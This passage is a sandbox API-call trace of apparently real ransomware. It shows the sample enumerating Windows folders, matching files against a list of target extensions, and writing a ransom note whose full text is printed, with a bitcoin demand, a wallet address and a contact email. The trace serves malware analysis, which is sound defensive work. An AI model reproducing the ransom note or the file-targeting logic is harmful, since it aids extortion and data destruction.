(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.vdi") returned 0 [0104.917] lstrlenA (lpString="*.vdi") returned 5 [0104.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.lay6") returned 0 [0104.917] lstrlenA (lpString="*.lay6") returned 6 [0104.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.mpeg") returned 0 [0104.917] lstrlenA (lpString="*.mpeg") returned 6 [0104.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.djvu") returned 0 [0104.917] lstrlenA (lpString="*.djvu") returned 6 [0104.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.tiff") returned 0 [0104.918] lstrlenA (lpString="*.tiff") returned 6 [0104.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.backup") returned 0 [0104.918] lstrlenA (lpString="*.backup") returned 8 [0104.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.pdf") returned 0 [0104.918] lstrlenA (lpString="*.pdf") returned 5 [0104.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.cert") returned 0 [0104.918] lstrlenA (lpString="*.cert") returned 6 [0104.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.docm") returned 0 [0104.918] lstrlenA (lpString="*.docm") returned 6 [0104.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.xlsm") returned 0 [0104.918] lstrlenA (lpString="*.xlsm") returned 6 [0104.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.dwg") returned 0 [0104.918] lstrlenA (lpString="*.dwg") returned 5 [0104.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.nd") returned 0 [0104.918] lstrlenA (lpString="*.nd") returned 4 [0104.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.tlg") returned 0 [0104.918] lstrlenA (lpString="*.tlg") returned 5 [0104.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.lgb") returned 0 [0104.918] lstrlenA (lpString="*.lgb") returned 5 [0104.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.mov") returned 0 [0104.918] lstrlenA (lpString="*.mov") returned 5 [0104.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.xdw") returned 0 [0104.918] lstrlenA (lpString="*.xdw") returned 5 [0104.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.ods") returned 0 [0104.918] lstrlenA (lpString="*.ods") returned 5 [0104.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.wav") returned 0 [0104.918] lstrlenA (lpString="*.wav") returned 5 [0104.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.mp3") returned 0 [0104.918] lstrlenA (lpString="*.mp3") returned 5 [0104.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.aiff") returned 0 [0104.919] lstrlenA (lpString="*.aiff") returned 6 [0104.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.flac") returned 0 [0104.919] lstrlenA (lpString="*.flac") returned 6 [0104.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.m4a") returned 0 [0104.919] lstrlenA (lpString="*.m4a") returned 5 [0104.919] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll", pszSpec="*.csv") returned 0 [0104.919] lstrlenA (lpString="*.csv") returned 5 [0104.919] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf18d1ea5, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf18d1ea5, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf191e165, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0xed200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Configuration.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0104.919] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.919] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf196a426, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf196a426, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf196a426, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bc09ad2d49d8535371845cd7532f9271", cAlternateFileName="BC09AD~1")) returned 0 [0104.919] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.919] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2e0f50, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1b2e0f50, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1b2e0f50, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Core", cAlternateFileName="SYSTEM~1.COR")) returned 1 [0104.919] lstrcmpA (lpString1=".", lpString2="System.Core") returned -1 [0104.919] lstrcmpA (lpString1="..", lpString2="System.Core") returned -1 [0104.919] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.919] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Core" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core" [0104.919] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core") returned 58 [0104.919] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2e0f50, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1b2e0f50, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1b2e0f50, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.920] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.920] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2e0f50, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1b2e0f50, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1b2e0f50, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.920] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.920] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.920] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2e0f50, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1b2e0f50, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1b2e0f50, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="fbc05b5b05dc6366b02b8e2f77d080f1", cAlternateFileName="FBC05B~1")) returned 1 [0104.920] lstrcmpA (lpString1=".", lpString2="fbc05b5b05dc6366b02b8e2f77d080f1") returned -1 [0104.920] lstrcmpA (lpString1="..", lpString2="fbc05b5b05dc6366b02b8e2f77d080f1") returned -1 [0104.920] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\*.*") returned="*.*" [0104.920] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\", lpString2="fbc05b5b05dc6366b02b8e2f77d080f1" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1" [0104.920] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1") returned 91 [0104.920] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2e0f50, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1b2e0f50, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1b2e0f50, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.920] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.920] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2e0f50, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1b2e0f50, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1b2e0f50, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.920] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.920] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.920] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b1d65ae, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1b1d65ae, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1b2489cf, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x231000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Core.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0104.920] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.920] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Core.ni.dll") returned -1 [0104.920] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Core.ni.dll") returned -1 [0104.920] lstrcmpiA (lpString1="", lpString2="System.Core.ni.dll") returned -1 [0104.920] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\*.*") returned="*.*" [0104.921] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\" [0104.921] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\") returned="" [0104.921] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\HOW TO DECRYPT FILES.txt" [0104.921] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.core\\fbc05b5b05dc6366b02b8e2f77d080f1\\how to decrypt files.txt")) returned 0xffffffff [0104.921] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.core\\fbc05b5b05dc6366b02b8e2f77d080f1\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.921] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.921] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.923] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.924] CloseHandle (hObject=0x90) returned 1 [0104.924] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\", lpString2="System.Core.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll" [0104.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.ems") returned 0 [0104.924] lstrlenA (lpString="*.ems") returned 5 [0104.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.db") returned 0 [0104.924] lstrlenA (lpString="*.db") returned 4 [0104.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.dbf") returned 0 [0104.924] lstrlenA (lpString="*.dbf") returned 5 [0104.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.myox") returned 0 [0104.924] lstrlenA (lpString="*.myox") returned 6 [0104.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.myo") returned 0 [0104.924] lstrlenA (lpString="*.myo") returned 5 [0104.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.qbw") returned 0 [0104.924] lstrlenA (lpString="*.qbw") returned 5 [0104.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.qbb") returned 0 [0104.924] lstrlenA (lpString="*.qbb") returned 5 [0104.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.qbm") returned 0 [0104.924] lstrlenA (lpString="*.qbm") returned 5 [0104.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.qbo") returned 0 [0104.924] lstrlenA (lpString="*.qbo") returned 5 [0104.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.qbx") returned 0 [0104.924] lstrlenA (lpString="*.qbx") returned 5 [0104.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.qba") returned 0 [0104.924] lstrlenA (lpString="*.qba") returned 5 [0104.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.qby") returned 0 [0104.924] lstrlenA (lpString="*.qby") returned 5 [0104.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.qbj") returned 0 [0104.924] lstrlenA (lpString="*.qbj") returned 5 [0104.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.ofx") returned 0 [0104.924] lstrlenA (lpString="*.ofx") returned 5 [0104.924] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.qif") returned 0 [0104.925] lstrlenA (lpString="*.qif") returned 5 [0104.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.mye") returned 0 [0104.925] lstrlenA (lpString="*.mye") returned 5 [0104.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.mbox") returned 0 [0104.925] lstrlenA (lpString="*.mbox") returned 6 [0104.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.eml") returned 0 [0104.925] lstrlenA (lpString="*.eml") returned 5 [0104.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.pst") returned 0 [0104.925] lstrlenA (lpString="*.pst") returned 5 [0104.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.ost") returned 0 [0104.925] lstrlenA (lpString="*.ost") returned 5 [0104.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.idx") returned 0 [0104.925] lstrlenA (lpString="*.idx") returned 5 [0104.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.dbx") returned 0 [0104.925] lstrlenA (lpString="*.dbx") returned 5 [0104.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.sql") returned 0 [0104.925] lstrlenA (lpString="*.sql") returned 5 [0104.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.mdb") returned 0 [0104.925] lstrlenA (lpString="*.mdb") returned 5 [0104.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.fdb") returned 0 [0104.925] lstrlenA (lpString="*.fdb") returned 5 [0104.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.wab") returned 0 [0104.925] lstrlenA (lpString="*.wab") returned 5 [0104.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.dat") returned 0 [0104.925] lstrlenA (lpString="*.dat") returned 5 [0104.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.txt") returned 0 [0104.925] lstrlenA (lpString="*.txt") returned 5 [0104.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.jpeg") returned 0 [0104.925] lstrlenA (lpString="*.jpeg") returned 6 [0104.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.jpg") returned 0 [0104.925] lstrlenA (lpString="*.jpg") returned 5 [0104.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.png") returned 0 [0104.925] lstrlenA (lpString="*.png") returned 5 [0104.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.php") returned 0 [0104.925] lstrlenA (lpString="*.php") returned 5 [0104.925] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.cs") returned 0 [0104.926] lstrlenA (lpString="*.cs") returned 4 [0104.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.cpp") returned 0 [0104.926] lstrlenA (lpString="*.cpp") returned 5 [0104.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.rar") returned 0 [0104.926] lstrlenA (lpString="*.rar") returned 5 [0104.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.zip") returned 0 [0104.926] lstrlenA (lpString="*.zip") returned 5 [0104.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.html") returned 0 [0104.926] lstrlenA (lpString="*.html") returned 6 [0104.926] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll", pszSpec="*.htm") returned 0 [0104.926] lstrlenA (lpString="*.htm") returned 